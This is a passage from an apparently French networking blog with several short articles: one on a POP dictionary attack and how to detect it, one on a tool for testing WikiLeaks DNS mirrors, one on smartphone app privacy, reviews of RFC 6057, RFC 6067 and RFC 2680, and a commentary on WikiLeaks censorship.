On voit les signes typiques d'une attaque par dictionnaire. Le méchant essaie automatiquement plein d'identifiants courants et, probablement, des mots de passe simples comme l'identifiant lui-même. Ces noms correspondent à des identifiants courants pour des personnes (jeff, dan, james) ou pour des fonctions systèmes (sys, amavisd, mailman). Certains sont particulièrement pittoresques (harrypotter ou gopher, ce dernier semblant indiquer que le pirate n'a pas mis à jour son dictionnaire depuis longtemps). Sur ce serveur particulier, beaucoup d'utilisateurs n'appliquent pas les bonnes pratiques de sécurité, croyant que leur compte personnel sur un serveur isolé n'attirera l'attention de personne, et oubliant les vers infatigables qui, vingt-quatre heures sur vingt-quatre, balayent tous les serveurs.

Au fait, pourquoi POP ? Même si le méchant trouve un mot de passe, à quoi cela lui servira-t-il ? Certes, il pourra lire le courrier de cet utilisateur mais il n'y trouvera probablement pas de révélations sensationnelles. Espère-t-il pouvoir ensuite tester SSH avec le même identifiant et le même mot de passe pour avoir un accès shell ? (Sur la plupart des sites, et pour de très bonnes raisons, les comptes POP ne donnent pas accès à un shell, soit parce qu'il n'ont pas de shell, soit par des techniques comme le AllowUsers de OpenSSH.) Ou bien connaissait-il une vulnérabilité d'un serveur POP courant (avez-vous reconnu le serveur utilisé ci-dessus ?), dont l'exploitation nécessitait un compte valide ? Je l'ignore.

Comment détecter ce genre d'attaques ? Un tail -f en permanence est certes distrayant mais peu réaliste : on ne peut pas regarder des journaux toute la journée. Il existe plusieurs outils d'analyse de ceux-ci, qui envoient des synthèses, mais la plupart nécessitent pas mal de réglages avant d'arrêter d'inonder leur propriétaire sous les alarmes. Pour le cas d'un serveur dédié de peu d'importance, où l'administrateur système ne peut pas passer plusieurs heures par jour à le surveiller, je n'ai pas encore trouvé de mécanisme d'alarme simple et efficace.

En attendant, j'ai mis cette adresse IP dans la liste noire de mon Shorewall, en attendant que j'ai le temps d'apprendre fail2ban qui pourrait faire cela tout seul (le principal ennemi de la sécurité, sur l'Internet, c'est le manque de temps).


L'article seul

Testing Wikileaks DNS mirrors

First publication of this article on 10 December 2010


Among the efforts to prevent censorship to take down WikiLeaks, several persons have set up DNS mirrors. They are names that point, not to one Web server but to a list of IP addresses which host a Web mirror. These lists can be quite long and it is better to have an automatic tool to test them.

There is a technical reason why you cannot put the IP address of any WikiLeaks Web mirror in a DNS record for wikileaks.anything.example: the HTTP protocol expects a Host: header in the query and dispatches the request to the proper virtual host, depending on this header. If the header is missing or wrong, you are sent to the "default" virtual host, which may be quite different from what you expect. So, you cannot just take a list of Web mirrors and add their IP addresses, you need to test.

The program test-wikileaks.py, written in Python, does exactly that: it takes the IP addresses from a name, and performs a HTTP connection to this address, retrieves a page and searches if it looks like a correct Wikileaks page. If not, it complains:

% test-wikileaks.py wikileaks.jmp.net  
Wrong data in http://88.80.13.160/cablegate.html, not a Wikileaks mirror?

Note well that it does not mean that wikileaks.jmp.net is wrong, just that it is not a DNS mirror, you cannot copy its addresses blindly.

If you want more details, you can use the -v option:

% test-wikileaks.py -v wikileaks.jmp.net  

Testing http://46.59.1.2/cablegate.html...
1269 cables

Testing http://88.80.13.160/cablegate.html...
Wrong data in http://88.80.13.160/cablegate.html, not a Wikileaks mirror?

Testing http://213.251.145.96/cablegate.html...
1269 cables

It shows also the current number of diplomatic cables uploaded on this mirror. This is important because some mirrors are really behind. Here is a test on a large mirror, wklk.eu.org: wklk.eu.org-test-2010-12-10.txt. Thanks to Pierre Beyssac for his contributions to this program.

Oh, by the way, my DNS mirrors are wikileaks.bortzmeyer.fr (a small subset) and all-wikileaks.bortzmeyer.fr (a larger set, which may create problems with some DNS resolvers).


L'article seul

Avec des logiciels pareils sur l'App Store, plus besoin de virus

Première rédaction de cet article le 9 décembre 2010


Dave Winer raconte sur son excellent blog, une curieuse aventure qui lui est arrivée avec son iPhone. Il a installé une nouvelle application (de partage de photos) sur son smartphone et découvert que celle-ci lisait son carnet d'adresses avant de l'envoyer au site maître (le tout, évidemment, sous couvert d'améliorer the user experience). Par delà l'immoralité de l'entreprise Path.com, cet incident donne à réfléchir sur le modèle de sécurité des smartphones.

L'auteur s'indigne en effet de ce qu'aucun avertissement ne soit apparu. On installe une application non libre censée permettre de partager des photos et elle accède au carnet d'adresses, et elle l'envoie sans demander d'autorisation, sans même qu'on soit prévenu ! Tout logiciel qui fait cela est habituellement nommé malware mais, ici, comme il est distribué sur l'App Store, il échappe à cette qualification, pourtant bien méritée.

Comment l'utilisateur d'un smartphone est-il protégé contre ce genre d'attaques ? L'essentiel de la (passionnante) discussion dans les commentaires a porté sur ce point. Sur iPhone, le système installe une application sans limiter ses privilèges, sans dire à l'utilisateur ce que cette application va faire. C'est pareil sur un Unix normal, me direz-vous. Certes, mais la plupart des logiciels (la totalité, dans mon cas) qu'on utilise sur Unix sont du logiciel libre et le fait que le code source soit accessible (même s'il n'est pas toujours lu) limite sérieusement les tentations pour les auteurs. Au contraire, avec le logiciel privateur, pas de code source et l'entreprise qui l'écrit peut donc avoir envie d'en profiter, d'en abuser.

Normalement, tout logiciel distribué sur l'App Store est validé par Apple. Ce pouvoir exorbitant a mené à bien des dérapages (croisade à l'iranienne contre la pornographie, censure des documentations sur les systèmes concurrents) mais, en théorie, il devait protéger l'utilisateur de tas de choses désagréables qu'on a sur un ordinateur Windows et qu'on ne voudrait pas trouver sur son téléphone, notamment les virus. L'expérience malheureuse de Dave Winer montre que cela ne marche pas. Il est probable que l'évaluation que fait Apple des logiciels ne se base que sur des considérations business et certainement pas sur le respect de la vie privée des futurs utilisateurs.

Existe-t-il des meilleurs mécanismes pour prévenir l'utilisateur de ce que va faire l'application qui l'installe ? Sans doute mais, comme souvent en matière de sécurité, il n'y a pas de solution idéale, ledit utilisateur étant souvent le maillon faible. Sur Android, lors de l'installation d'une application (qu'elle vienne du Market officiel ou pas), l'utilisateur est prévenu des privilèges que demandera l'application. Trouvé sur un article sur la sécurité d'Android, voici un exemple de ce qu'affiche le téléphone : wakeupcallmaker_install.png Ce mécanisme n'est pas parfait. D'abord, comme souvent dès qu'on demande à l'utilisateur, celui-ci cliquera souvent Oui sans même réfléchir, quelle que soit la longueur de la liste des privilèges demandés. Et, même s'il ne faut pas être informaticien pour comprendre qu'un logiciel qui affiche les horaires des prochains bus n'a pas besoin d'avoir accès au carnet d'adresses, en pratique, le temps manque et le cerveau ralentit dès qu'il est confronté à un ordinateur. À la décharge de l'utilisateur, il faut ajouter que le mécanisme d'approbation est binaire : soit on accepte toute la liste (et, avec certaines applications, elle est longue), soit on ne peut pas utiliser l'application du tout. Il n'y a hélas pas moyen de dire « Je veux bien que tu lises le GPS mais ne touche pas au carnet d'adresses ». (Il existe des solutions non-standard comme celle de CyanogenMod.)

Autre limitation de ce mécanisme de sécurité : il ne limite pas ce que fait l'application qui avait un accès. Par exemple, il est tout à fait normal qu'un client SIP ait accès au carnet d'adresses mais ensuite, je ne veux pas qu'il l'envoie à un tiers, ce que font pourtant certains logiciels (voir une bonne étude à ce sujet).

Au fait, s'il y a des utilisateurs de MeeGo qui lisent ceci, comment cela se passe-t-il sur ce système ? Ces problèmes de donner à des applications des privilèges, avec une certaine granularité, me rappelle mon travail passé comme ingénieur système sur VMS : contrairement au modèle Unix binaire (root / pas root, avec root qui a tous les droits), VMS avait un système de permissions très riche, où on pouvait ne donner à une application que certains droits. Une des faiblesses de ce mécanisme était la longueur de la liste des droits possibles, que peu de gens maîtrisaient. Une autre faiblesse était que certains droits, sans que cela soit clairement documenté, permettait d'en acquérir d'autres (je me souviens bien du privilège « Change Mode to Kernel » qui permettait d'écrire dans les métadonnées du processus... où la liste des droits était stockée). Android a-t-il de telles faiblesses ? Si une chose est sûre en matière de sécurité, c'est que concevoir un système invulnérable est fort difficile : des failles inattendues surgissent toujours (pour Android, voir par exemple Soundminer).

Sur la question de limiter les privilèges d'une application inconnue et peut-être malveillante, il y a aussi :

Merci à Vincent-Xavier Jumel pour ses suggestions.

Notez qu'Apple n'a nullement corrigé le problème qui reste, début 2012, aussi préoccupant qu'avant.


L'article seul

RFC 6057: Comcast's Protocol-Agnostic Congestion Management System

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : C. Bastian (Comcast), T. Klieber (Comcast), J. Livingood (Comcast), J. Mills (Comcast), R. Woundy (Comcast)
Intérêt historique uniquement
Première rédaction de cet article le 8 décembre 2010


Pour tout FAI, la gestion de la congestion est un problème récurrent. Même avec de très gros tuyaux, les utilisateurs, avides de profiter de leur abonnement à l'Internet (et poussés par des évolutions comme le remplacement de cours sous forme texte par des conneries multimédia genre webinar), envoient de plus en plus de paquets. Beaucoup de FAI, lors de débats sur la neutralité du réseau défendent leur droit à « gérer la congestion » par tous les moyens, même les plus inavouables. C'est ainsi que l'un des plus gros FAI états-uniens, Comcast, s'est rendu célèbre en usurpant l'adresse IP de ses propres abonnés pour couper leurs sessions BitTorrent fin 2007. Ces méthodes de cow-boys ont suscité beaucoup de protestation et, dans ce RFC, Comcast annonce un changement de cap et l'adoption d'un nouveau système de gestion de la congestion, neutre (protocol agnostic car « neutre » est un gros mot pour les FAI) et fondé sur des mesures objectives (le nombre d'octets envoyés ou reçus). Ce système est mis en œuvre dans le réseau de Comcast depuis la fin de 2008.

Comcast, qui connecte des dizaines de millions de foyers états-uniens, notamment par le câble (des détails sur leur réseau figurent en section 7), s'est donc fait allumer par la FCC au sujet de ses curieuses pratiques de gestion du réseau, qui consistaient à générer, depuis un boîtier Sandvine, des faux paquets TCP de type RST (Reset) prétendant venir des pairs, de manière à couper les sessions pair-à-pair (voir le rapport très détaillé de l'EFF ou son résumé à Ars Technica). Ce mécanisme visait, de manière complètement arbitraire, un protocole réseau particulier, BitTorrent.

La section 1 du RFC resitue le problème de la congestion. TCP est un protocole gourmand : tant qu'il n'y a pas de perte (cf. RFC 7680) de paquets, il va augmenter le débit jusqu'à ce que le réseau ne puisse plus suivre et le signale en laissant tomber certains paquets (TCP réduira alors le débit). La congestion est donc un état normal du réseau (sinon, cela veut dire qu'il est sous-utilisé).

Le mécanisme déployé étant spécifique au réseau de Comcast, il est utile, pour suivre le RFC, de bien apprendre la section 3 sur la terminologie, notamment si on n'est pas habitué aux réseaux par câble TV coaxial. Ainsi, un modem câble est le CPE, l'engin placé chez le client, et un CMTS (Cable Modem Termination System, cf. section 2.6 du RFC 3083) est l'équipement situé dans les locaux du FAI où sont connectés les clients (à peu près l'équivalent d'un DSLAM pour les FAI ADSL). Le tout fonctionne grâce à la norme DOCSIS dont les documents sont disponibles en http://www.cablelabs.com/. D'autre part, la rubrique terminologique en section 3 référence également les RFC sur la qualité de service, les RFC 1633 et RFC 2475.

Le nouveau système de contrôle de la congestion a évolué, comme le résume la section 4, en partie en suivant les débats à l'IETF comme l'atelier de 2008, qui a été documenté dans le RFC 5594. La contribution de Comcast à cet atelier consistait en un document « Service Provider Perspective ». Le système décrit par Comcast à l'occasion de cet atelier (et qui avait été également présenté dans les réponses de Comcast à la FCC, qui était mécontente du système de piratage des sessions BitTorrent) a été progressivement déployé à partir de la fin de 2008.

En quoi consiste ce système de contrôle de la congestion ? La section 5 résume ses principes. Plusieurs éléments du réseau étant partagés, le but du système est de partager « équitablement » ces éléments (le terme « équitablement » est entre guillemets dans le RFC car il n'est pas évident d'en donner une définition rigoureuse). D'autre part, le système actuel est agnostique (le RFC aurait pu dire « neutre » mais la plupart des FAI ne veulent pas entendre parler du concept de neutralité), c'est-à-dire qu'il ne cible pas un protocole particulier, il tient juste compte d'un facteur objectif : le débit de la ligne de l'abonné. L'algorithme (simplifié) est donc le suivant : le logiciel surveille en permanence l'usage des ressources réseau. Si l'une de celles-ci devient congestionnée, le logiciel regarde quel client sur cette ressource consommait plus que les autres et lui affecte une priorité plus basse. Cela n'aura pas de conséquence pratique si les lignes ont de la capacité suffisante mais, si la congestion empêche de faire passer tous les paquets, ceux de ce(s) client(s) seront retardés, voire jetés (cela peut sembler violent mais c'est le mécanisme normal d'IP pour gérer la congestion ; les protocoles de transport savent réagir à ce problème, par exemple TCP réduit automatiquement son débit). Si le client diminue son usage, sa priorité redevient normale.

Ne serait-ce pas préférable, en cas de congestion, d'augmenter la capacité du réseau ? Certes, dit la section 6, mais le problème est plus compliqué que cela. D'abord, l'ajout de capacité nécessite souvent des travaux matériels, qui prennent du temps. Ensuite, quelle que soit la capacité du réseau, il y aura des pics de trafic imprévus et aucun réseau ne peut être assez dimensionné pour éviter complètement la congestion. (De même qu'aucun autoroute ne peut être assez large pour un samedi 1er août.) Pouvoir gérer la congestion est donc une nécessité.

Quelles sont les valeurs numériques exactes utilisées pour des opérations comme « abaisser la priorité » ? L'abaisser de combien ? Et que veut dire exactement « proche de la congestion » ? 90 % 95 % ? La section 7 du RFC traite de l'implémentation concrète des principes de la section 5. Elle commence par un excellent résumé de l'architecture du réseau de Comcast, où 3 200 CMTS servent environ 15 millions d'utilisateurs. Le réseau, comme illustré dans la figure 1 du RFC, est en fait mixte, les CMTS étant connectés en fibre optique, seul le dernier mile étant en câble de cuivre coaxial. La section 7.1 définit ensuite rigoureusement la métrique utilisée pour déclarer qu'un CMTS approche de la congestion. Ensuite, la valeur numérique a été déterminée par des essais en laboratoire : aujourd'hui 70 % d'utilisation en montée et 80 % en descente pendant 5 minutes de suite. La section 7.2 traite de la seconde partie de l'algorithme : définir ce que signifie, pour un utilisateur, « consommer plus que sa part ». (Les chiffres exacts dépendent de l'abonnement qu'il a souscrit : les riches ont plus que les pauvres.)

Ce RFC n'hésite pas devant les chiffres précis. Ainsi, un exemple donné est celui d'un abonné à un service à 22 Mb/s descendants. Malgré plusieurs usages simultanés (un flux vidéo HD depuis Hulu à 2,5 Mb/s, un appel Skype à 131 kb/s, et un flux musical à 128 kb/s), il reste en dessous de la limite. L'idée est donc que beaucoup d'utilisations, même multimédia, n'amèneront pas à la limite. Lors de tests avec de vrais utilisateurs, par exemple à Colorado Springs en 2008, 22 utilisateurs sur 6 016 ont été « déprioritisés ». Lors de tels tests, quel a été le ressenti des utilisateurs ? La section 7.3 note simplement que personne ne s'est plaint.

La section 9 argumente même que ce mécanisme, prévu pour gérer la minorité la plus gourmande des utilisateurs, est aussi utile en cas de congestion plus globale. Par exemple, si une brusque épidémie de grippe se développe, forçant l'arrêt des transports publics et amenant de nombreuses entreprises à fermer, le télétravail depuis la maison va brusquement augmenter. Le réseau tiendra-t-il ? En tout cas, le même mécanisme de gestion de la congestion peut être utile.

Rien n'étant parfait en ce bas monde, quelles sont les limites de ce système ? La section 10 en cite quelques unes. Entre autres, le mécanisme de Comcast ne signale pas à l'utilisateur qu'il a été déprioritisé. Cela empêche ses applications de s'adapter (par exemple en basculant vers une résolution vidéo plus faible) et l'utilisateur de changer son comportement.

D'autres mécanismes de contrôle de la congestion pourraient apparaître plus tard, par exemple issus des travaux de l'IETF, que la section 11 résume. Des groupes de travail comme Conex (signalisation explicite de la congestion), Alto (recherche du meilleur pair dans un réseau pair-à-pair) ou Ledbat (transfert de grosses quantités de données en arrière-plan, en se glissant dans les moments où le réseau est libre) produiront peut-être des solutions meilleures (voir le RFC 6817 pour Ledbat).

Enfin, la section 12, sur la sécurité, est une lecture intéressante : à chaque fois qu'on construit un tel appareillage, il faut se demander s'il ne risque pas d'être mal utilisé. Ici, la principale crainte est le risque d'injection de fausses données, pour bloquer les utilisateurs (une attaque par déni de service). Les équipements de statistiques doivent donc être protégés contre un accès non autorisé. Moins grand est le risque pour la vie privée : si le trafic par modem (donc par foyer) est stocké, cela n'inclut pas les adresses IP de destination, les ports, etc.

Arrivé au terme de ce très intéressant document, très détaillé (il faut noter qu'aucun FAI dans le monde n'a fait un tel effort de documentation, comparez par exemple avec le silence complet que maintient Free face aux accusations de shaping), quel bilan tirer ? D'abord, que les protestations des clients, de l'EFF et les menaces de la FCC ont eu un effet positif. Ensuite, je pense personnellement que le système est bon dans son principe. Face à la congestion, un problème auquel peut être confronté tout réseau, quelles que soient les dimensions de ses tuyaux, il est nécessaire de prendre des mesures. Celles-ci doivent être publiquement exposées (et, on l'a dit, Comcast est le seul à le faire) et être non-discriminatoires, fondées sur des problèmes objectifs (le débit dans les tuyaux) et pas sur les intérêts financiers du FAI (comme les opérateurs 3G qui interdisent la VoIP mais qui autorisent la vidéo ; cette dernière consomme pourtant bien plus de ressources mais, elle, elle n'empiète pas sur le business traditionnel de l'opérateur...). Donc, le principe du système de gestion de la congestion de Comcast est bon. Maitenant, tout est dans l'exécution en pratique. Le système effectivement déployé est-il celui décrit ? Les évolutions futures respecteront-elles les principes posés ? Poser la question n'est pas de la paranoïa. Comcast a déjà menti, par exemple en niant la création de faux TCP resets même si la section 8 du RFC reconnait aujourd'hui leur usage (cf. RFC 3360). Le lecteur des aventures de Thursday Next pensera certainement au tome 4, « Something rotten », où la tentaculaire société Goliath tente de faire croire qu'elle est devenue une église n'agissant plus que pour le bien commun...

Ce RFC a été reclassé « intérêt historique seulement » en août 2020, Comcast n'utilisant plus ce système.


Téléchargez le RFC 6057


L'article seul

RFC 6067: BCP 47 Extension U

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : M. Davis (Google), A. Phillips (Lab126), Y. Umaoka (IBM)
Pour information
Première rédaction de cet article le 8 décembre 2010


Le RFC 5646 (alias « BCP 47 » pour Best Common Practice 47), qui normalise les étiquettes de langue, prévoyait un mécanisme d'extension par le biais de sous-étiquettes d'un seul caractère. Ce RFC 6067 spécifie la première de ces extensions à rentrer en service, pour indiquer l'information de localisation du consortium Unicode.

Les étiquettes de langue sont utilisées pour marquer du contenu sur le Web mais également en plein d'autres endroits, afin d'indiquer la langue utilisée. Leur norme, le RFC 5646 décrit un mini-langage permettant d'indiquer la langue mais aussi l'écriture, le pays, voire la variante dialectale. Ainsi, ru-petr1708 désignera le russe tel qu'il était écrit dans l'ortographe de Pierre Ier, avant la réforme de 1917. Ce langage de construction des étiquettes est très riche mais ne permet de faire une étiquette qu'à partir de sous-étiquettes déjà enregistrées dans le registre des langues (ou bien à partir de sous-étiquettes purement privées). Il n'y a notamment pas de moyen pour utiliser les catalogues existants.

Or, un de ces catalogues est particulièrement utilisé, le catalogue des locales décrit dans le TR35 et géré par le consortium Unicode. C'est pour pouvoir l'utiliser que l'extension « u » est créée par notre RFC. (Le singleton « u » voulant dire Unicode.) Il permettra d'étiqueter avec davantage de précision un document. Ainsi, en-u-cu-usd désignera un texte en anglais dont, grâce à l'extension « u », on pourra savoir qu'il utilise le dollar états-unien (usd) comme unité monétaire.

Les données utilisables avec cette extension proviennent du CLDR, le grand dépôt des locales géré par le consortium Unicode et qui contient des choses aussi variées que les jours fériés par pays ou bien les différents ordres de tri utilisés.

Le RFC 5646/BCP 47 (section 3.7) impose un certain nombre de règles pour la création d'une extension, notamment l'indication précise de l'autorité en charge du catalogue accessible via l'extension, et de ses politiques. La section 2 de notre RFC 6067 satisfait à cette règle en décrivant comment est géré CLDR.

Maintenant, quelle information peut-on indiquer avec l'extension « u » ? La section 2.1 les liste en renvoyant à la section 3 du TR35. On peut indiquer des attributs, des clés et des types. Aujourd'hui, aucun attribut n'est défini. Les clés, elles, ont exactement deux caractères et sont définis par le TR35. ca désigne un calendrier, co un ordre de tri, cu la monnaie, tz le fuseau horaire, etc. Les types sont les valeurs associées aux clés. Ainsi, ca-coptic désigne le calendrier copte. Une étiquette complète comme de-DE-u-co-phonebk sera « l'allemand tel qu'écrit en Allemagne, utilisant l'ordre de tri phonebk, i.e. celui normalisé pour l'annuaire téléphonique (qui se nomme phonebook dans CLDR, qui n'a pas les mêmes contraintes de taille) ». en-u-tz-usden sera l'anglais avec le fuseau horaire Mountain Time. Et es-u-cu-mxn sera l'espagnol avec comme unité monétaire le peso mexicain. Bien sûr, dans la plupart des cas, il n'y aura pas besoin d'étiqueter les textes avec ce niveau de précision. (Merci à Doug Ewell pour la plupart des exemples.) Mais certaines utilisations pourront en avoir besoin.

CLDR distribue des fichiers contenant les informations nécessaires pour tous les types possibles en http://unicode.org/Public/cldr/. Si vous voulez l'ordre de tri allemand, il est en common/collation/de.xml.

La section 2.2 du RFC contient le formulaire d'enregistrement obligatoire (RFC 5646, section 3.7) pour une extension. « u » est donc désormais le premier élément du registre des extensions..

Attention à un petit piège : les extensions comme « u » n'ont rien à voir avec les Extended Language Subtags (alias extlangs), qui sont un mécanisme (pas le seul) pour représenter des idiomes intermédiaires entre une « vraie » langue et un dialecte.


Téléchargez le RFC 6067


L'article seul

À propos de Wikileaks

Première rédaction de cet article le 4 décembre 2010


Je suis désolé pour mes lecteurs qui apprécient les articles techniques, j'avais en effet plein de sujets techniques rigolos et intéressants à traiter mais, parfois, l'actualité commande de remettre les sujets geeks à plus tard et de s'intéresser à la vie de la société. Bien sûr, tout le monde a déjà parlé de WikiLeaks, mais je crois qu'un nouveau seuil a été franchi par les puissants de ce monde dans une guerre, non pas contre l'Internet mais contre la liberté d'expression.

Je n'ai en effet pas l'intention d'analyser WikiLeaks, de dire si c'est utile ou pas. Que Wikileaks joue un rôle positif ou pas, leur liberté d'expression doit être défendue de la même façon. Même s'ils font des choses illégales ? Mais je note qu'aucun gouvernement, même aux États-Unis, n'a osé traîner Wikileaks devant un tribunal pour ses publications. En France, le ministre des expulsions a hypocritement demandé au CGIET de lui trouver des moyens d'interdire Wikileaks, reconnaissant ainsi qu'il ne pouvait pas trouver de raison juridique valable de le faire. Le voici réduit à chercher n'importe quelle astuce lui permettant d'arriver à ses fins.

Mais pourquoi est-ce que Wikileaks gêne les pouvoirs en place ? Ce n'est pas que les révélations du « Cablegate » aient été si fracassantes que cela, jusqu'à présent. Il est bien sûr utile d'apprendre que la loi Hadopi a été rédigée sous stricte surveillance états-unienne. Mais la plupart des révélations n'ont pas une grande portée (l'ambassadeur des États-Unis pense que Sarkozy est un nerveux : grande nouvelle).

Non, le problème des gens de pouvoir est qu'ils vivaient dans une bulle : isolés de tout et surtout des citoyens, ils s'étaient habitués à ne pas avoir à rendre de comptes. Le coup de projecteur les rabaisse soudain au niveau de n'importe quel citoyen espionné grâce au Patriot Act ou grâce aux écoutes téléphoniques.

Ce choc soudain, d'être écouté comme un vulgaire journaliste de Mediapart ou comme un simple citoyen vidéo-surveillé, a déclenché une campagne anti-WikiLeaks, bien plus forte que celle provoquée par les précédentes révélations de Julian Assange, qui concernaient pourtant des affaires militaires, a priori plus sensibles... Cette haine de Wikileaks va très loin et des oubliées du cirque médiatique comme Catherine Nay (qui, quand elle était journaliste, n'a effectivement jamais révélé quoi que ce soit qui puisse nuire aux puissants...) en profitent pour essayer de se faire un peu de publicité en comparant « la menace Internet » à la Stasi en pire (technique classique de troll que d'exagérer pour être sûr de faire parler de soi). De même, une députée UMP, Muriel Marland-Militello, a saisi l'occasion en demandant l'interdiction de WikiLeaks, et en reprenant le concept sarkozyen d'« Internet civilisé ». Je dois dire que, la première fois que j'avais entendu ce terme digne de « Tintin au Congo », je croyais que c'était une blague. Mais non. Le parti qui voulait faire rentrer dans les têtes des enfants le rôle positif de la colonisation voudrait désormais civiliser les indigènes de l'Internet. Et comment Marland-Minitello justifie-t-elle l'interdiction de WikiLeaks ? « La liberté de chacun [...] a pour limite infrangible la sûreté des Etats ». Donnez cette phrase sans son contexte à plusieurs personnes et demandez l'auteur. Ils répondront probablement « Le Parti Communiste chinois ou bien « Le dictateur tunisien Ben Ali » mais ne penseront pas au parti actuellement majoritaire au Parlement français. Certains se sont dit « Quelle importance, ce n'est qu'une petite députée inconnue » mais elle affiche en gros le logo du parti du Président sous son texte.

Cette réaction corporatiste des politiciens contre WikiLeaks (on est pour qu'on puisse espionner tout le monde avec Echelon mais pas pour que WikiLeaks nous espionne, nous) est également partagée par les journalistes comme l'a bien analysé Éric Scherer.

(Au passage, pour une excellent analyse en profondeur de l'effet WikiLeaks, je vous recommande « Suites de la fuite », de Jean-Noël Lafargue et pour un excellent panorama juridique de la question, l'interview de Cédric Manara.)

Alors, que peut faire le citoyen face à cette campagne contre la liberté d'expression ? Je ne suis pas sûr qu'on puisse compter sur l'opposition officielle, qui semble complètement silencieuse à ce sujet. Il faut donc que les citoyens se manifestent eux-mêmes.

Bien sûr, des actions pratiques sur le terrain des réseaux informatiques sont possibles et souhaitables. C'est ainsi que, en réaction au retrait de l'hébergeur DNS de wikileaks.org (qui a laissé ce domaine hors d'usage), des dizaines de gérants de serveurs DNS ont créé des wikileaks.quelquechose comme par exemple wikileaks.bortzmeyer.fr qui contiennent les adresses IP des serveurs de Wikileaks qui fonctionnent (petit piège du protocole HTTP : il faut que le serveur en question accepte un champ Host: incorrect et serve quand même Wikileaks). Ces noms, véritables « miroirs DNS » sont ensuite publiés un peu partout (notamment sur Twitter). Comme le note l'inventeur de XML-RPC et RSS, Dave Winer, « in a weird sort we have implemented a human DNS ». Ces noms, et ceux de sites qui hébergent une copie complète de WikiLeaks sont ensuite rassemblés dans des pages comme http://etherpad.mozilla.org:9000/wikileaks, http://www.allyourleakarebelongtous.com/ ou http://bluetouff.com/2010/12/03/acceder-a-wikileaks/ qui, au fur et à mesure que la censure les fait fermer, sont recopiées ailleurs. Encore mieux, les services qui testent automatiquement tous ces miroirs, comme http://www.whereiswikileaks.org/, de façon à éviter de perdre du temps sur un miroir devenu caduc. Pour ceux qui veulent créer un tel « miroir », Spyou explique comment. Pour les miroirs DNS, ceux qui en font doivent prendre soin de mettre de courts TTL (genre dix minutes) car les adresses IP des serveurs du contenu vont souvent changer, et sans préavis (merci à Pierre Beyssac pour avoir attiré mon attention à ce sujet). Il faut aussi les tests par exemple avec l'outil que je propose. Un autre projet est en cours de déploiement, le mécanisme automatique de recopie sur un grand nombre de miroirs volontaires. J'ai deux machines candidates à ce service, mais ça ne fonctionne pas pour moi, WikiLeaks ne les a jamais contactées. Attention toutefois aux problèmes de sécurité si vous choisissez cette voie, cela peut valoir la peine de se renseigner sur la technique d'abord. Plus geek, on trouve les données de WikiLeaks sous des formats très exotiques comme RDF ou sous forme d'un moteur SPARQL.

Un tel système de contournement de la censure est complexe et nécessite des lecteurs très motivés, pour suivre les derniers changements. Mais elle a l'avantage, comme le notait Winer, de faire participer tout le monde et de montrer à la face des censeurs l'ampleur de la contestation. Ce n'est donc pas une solution purement technique et c'est justement son avantage.

Techniquement, une meilleure solution serait bien sûr d'avoir un autre système de résolution de noms (« DNS pair à pair ») et d'hébergement. J'ai récemment écrit sur la vanité qu'il y à croire qu'on trouvera la solution technique idéale, surtout face à une censure qui frappera simplement ailleurs. Seul avantage de cette discussion, cela a permis, sur la liste NANOG, de refaire parler d'UUCP, qui avait en effet un système de nommage pair à pair.

Une contradiction a été fort peu relevée dans les articles sur l'extension du domaine de la censure de l'Internet. C'est que les gouvernements démocratiques (les autres aussi, mais, dans ce cas, ce n'est pas une information, son entropie est nulle) sont tous occupés à mettre au point des mécanismes pour réaliser des DoS légales alors que, dans le même temps, des agences gouvernementales travaillent à essayer d'empêcher les attaques... Verra t-on bientôt la main gauche de l'État réclamer le déploiement de technologies visant à améliorer la sécurité, mais rendant la censure visible (comme DNSSEC) pendant que sa main droite fera des lois comme LOPPSI, qui imposent justement ce que DNSSEC ou la RPKI essaient d'empêcher ? Ainsi, au niveau européen, l'ENISA a un programme de développement de la résistance de l'Internet aux attaques (la censure en étant une), programme qui a fait récemment l'objet d'un atelier à Bruxelles. De même, l'ANSSI française a une activité sur ce même concept de résistance (pas besoin de WikiLeaks pour connaitre ce programme : il est discret mais n'a rien de secret). La même ANSSI est citée dans la lettre de Besson, qui lui donne l'ordre de contribuer à trouver un moyen de censurer WikiLeaks. Alors, résistance aux pannes ou contrôle accru ? Il va falloir choisir... Les deux sont complètement incompatibles : ce qui rend la censure si difficile à faire respecter, c'est justement ce qui rend l'Internet si robuste, la variété des connexions et des techniques, et surtout l'intelligence et l'initiative des acteurs.


L'article seul

RFC 2680: A One-way Packet Loss Metric for IPPM

Date de publication du RFC : Septembre 1999
Auteur(s) du RFC : Guy Almes (Advanced Network & Services), S. Kalidindi (Advanced Network & Services), M. Zekauskas (Advanced Network & Services)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 3 décembre 2010


Une des tristes réalités de l'Internet d'aujourd'hui est que les paquets se perdent. Ils quittent la machine émettrice et ne sont jamais reçus par la machine réceptrice. Il y a de nombreuses causes à cela (abandon du paquet par un routeur surchargé, par exemple), mais ce RFC 2680, comme les autres documents du groupe de travail IPPM se focalise sur la mesure du phénomène, pas sur ses causes. Il définissait donc une métrique « perte de paquet » permettant de comparer des mesures entre elles en sachant qu'on parle bien de la même chose. (Il a depuis été remplacé par le RFC 7680.)

Comme les autres RFC décrivant des métriques, des grandeurs rigoureusement définies et qu'on va mesurer, il s'appuie sur les définitions et le vocabulaire du RFC 2330. Par ailleurs, il suit de très près le plan du RFC 2679, qui spécifiait la mesure du délai d'acheminement d'un paquet. Cette fois, ce qui est défini est une mesure binaire (un paquet est perdu ou bien ne l'est pas), Type-P-One-way-Loss, puis une statistique pour le cas où il y a plusieurs paquets, le taux de perte moyen. (Petit rappel : Type-P signifie que le rapport de mesure doit indiquer le type du paquet - protocole de transport, port, etc - car le résultat peut en dépendre. Cf. section 2.8.1.)

Pourquoi cette métrique est-elle utile ? La section 1.1 rappelle l'intérêt de connaître les pertes :

  • Certaines applications, notamment interactives, se comportent mal (ou pas du tout) si le taux de pertes dépasse un certain seuil.
  • Les applications plus ou moins temps-réel aiment encore moins les pertes de paquets que les autres applications.
  • Les protocoles de transport comme TCP compensent les pertes en réémettant les paquets mais un taux de pertes trop élevé les empêchera d'atteindre leur débit maximum.

Mais pourquoi mesurer les pertes sur un chemin aller-simple (one-way) plutôt que aller-retour (two-way) ? La célébrissime commande ping affiche en effet des pertes après un aller-retour (ici 57 %) :

% ping -c 19 198.51.100.80 
PING 198.51.100.80 (198.51.100.80) 1450(1478) bytes of data.
